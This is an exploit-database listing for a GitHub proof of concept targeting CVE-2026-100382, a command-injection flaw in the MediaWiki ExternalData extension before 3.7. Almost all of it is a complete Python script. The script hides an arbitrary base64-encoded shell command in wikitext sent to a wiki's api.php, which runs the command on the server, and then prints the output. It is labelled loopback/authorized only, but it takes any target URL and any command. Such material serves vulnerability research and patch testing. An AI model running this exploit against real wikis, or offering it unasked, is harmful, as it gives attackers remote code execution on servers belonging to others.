Exploit database

GH-87ed4c64c49a8a4b42d988ffa71f5ecc

nth347/mediawiki-cve-2026-100382

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-100382

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
nth347/mediawiki-cve-2026-100382Revision 207c8115eae2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 3,021 bytes
#!/usr/bin/env python3
# CVE-2026-100382 - MediaWiki ExternalData extension < 3.7 OS command injection (argument injection). Loopback/authorized only.
import argparse
import base64
import json
import re
import sys
import urllib.parse
import urllib.request


def build_injected_options(shell_cmd):
    encoded = base64.b64encode(shell_cmd.encode()).decode()
    space_free_code = ("__import__('os').system("
                       "__import__('base64').b64decode('%s').decode())" % encoded)
    return "-c " + space_free_code


def build_wikitext(source, param, shell_cmd):
    return ("{{#get_program_data: program=%s | %s=%s | data=out=__text | format=text }}"
            "{{#external_value: out }}") % (source, param, build_injected_options(shell_cmd))


def build_opener(proxy):
    handler = urllib.request.ProxyHandler(
        {"http": proxy, "https": proxy} if proxy else {})
    return urllib.request.build_opener(handler)


def parse_wikitext(target, opener, wikitext):
    body = urllib.parse.urlencode({
        "action": "parse",
        "format": "json",
        "contentmodel": "wikitext",
        "text": wikitext,
    }).encode()
    req = urllib.request.Request(
        target.rstrip("/") + "/api.php",
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )
    with opener.open(req, timeout=30) as r:
        data = json.loads(r.read().decode("utf-8", "replace"))
    html = data.get("parse", {}).get("text", {}).get("*", "")
    return re.sub(r"\n{2,}", "\n", re.sub(r"<[^>]+>", "", html)).strip()


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-100382 ExternalData OS command injection PoC (loopback/authorized only)")
    ap.add_argument("--target", required=True, help="base URL, e.g. http://127.0.0.1:8080")
    ap.add_argument("--proxy", help="http://127.0.0.1:8080 for Burp")
    ap.add_argument("--cmd", default="id", help="shell command to run on the server (default: id)")
    ap.add_argument("--source", default="chart", help="configured exec data source id (default: chart)")
    ap.add_argument("--param", default="options",
                    help="user-controlled parameter interpolated into the command (default: options)")
    args = ap.parse_args()

    wikitext = build_wikitext(args.source, args.param, args.cmd)
    try:
        out = parse_wikitext(args.target, build_opener(args.proxy), wikitext)
    except Exception as e:
        sys.exit("[-] request failed: %s" % e)

    if "is disabled" in out and "EDConnectorExe" in out:
        sys.exit("[-] EDConnectorExe is disabled (target looks patched, >= 3.7)")
    if not out or "returned exit code" in out:
        sys.exit("[-] no output captured; source/param wrong or target patched:\n" + out)

    print("[+] command injection succeeded on %s via #get_program_data (source=%s, param=%s)"
          % (args.target, args.source, args.param))
    print("[+] $ %s" % args.cmd)
    print(out)


if __name__ == "__main__":
    main()